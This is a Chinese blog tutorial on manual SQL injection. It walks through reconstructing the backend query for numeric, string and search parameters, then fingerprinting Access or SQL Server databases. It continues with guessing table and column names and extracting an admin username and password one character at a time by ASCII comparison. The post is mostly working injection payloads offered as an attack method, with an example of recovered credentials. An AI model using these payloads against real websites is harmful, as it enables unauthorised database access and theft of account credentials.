分析SQL手工注入一般步骤

首先,判断环境,寻找注入点,判断数据库类型,我们在前面的课程讲过。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌.

按参数类型主要分为下面三种:

(1) ID=131 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=131
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=131 And [查询条件]

(2) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(3) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

实例:

第一步:判断环境,寻找注入点

第二步:判断数据类型
and (select count() from sysobjects)>0
and (select count(
) from msysobjects)>0

第三步:猜表名
And (Select Count(*) from Admin)>=0
如果页面就与ID=131的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。

第四步:猜字段
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
And (Select Count(username) from Admin)>=0

PS:如果是SQLServer的库,我们可以通过提交些特殊字符来得到相关的表名和字段,我们在以后的课程中会做介绍。

第五步:猜字段的值(Ascii逐字解码法)
and (select top 1 len(username) from Admin)>0
and (select top 1 asc(mid(username,N,1)) from Admin)>0

表名:admin

字段:username

字段值:
username内容:xiaxiang
ASCII码:120 105 97 120 105 97 110 103
password内容:345544386
ASCII码:51 52 53 53 52 52 51 56 54

PS:英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,有语言基础的朋友可以写个程序测试下,效率会有大大的提高。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

三朝看客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值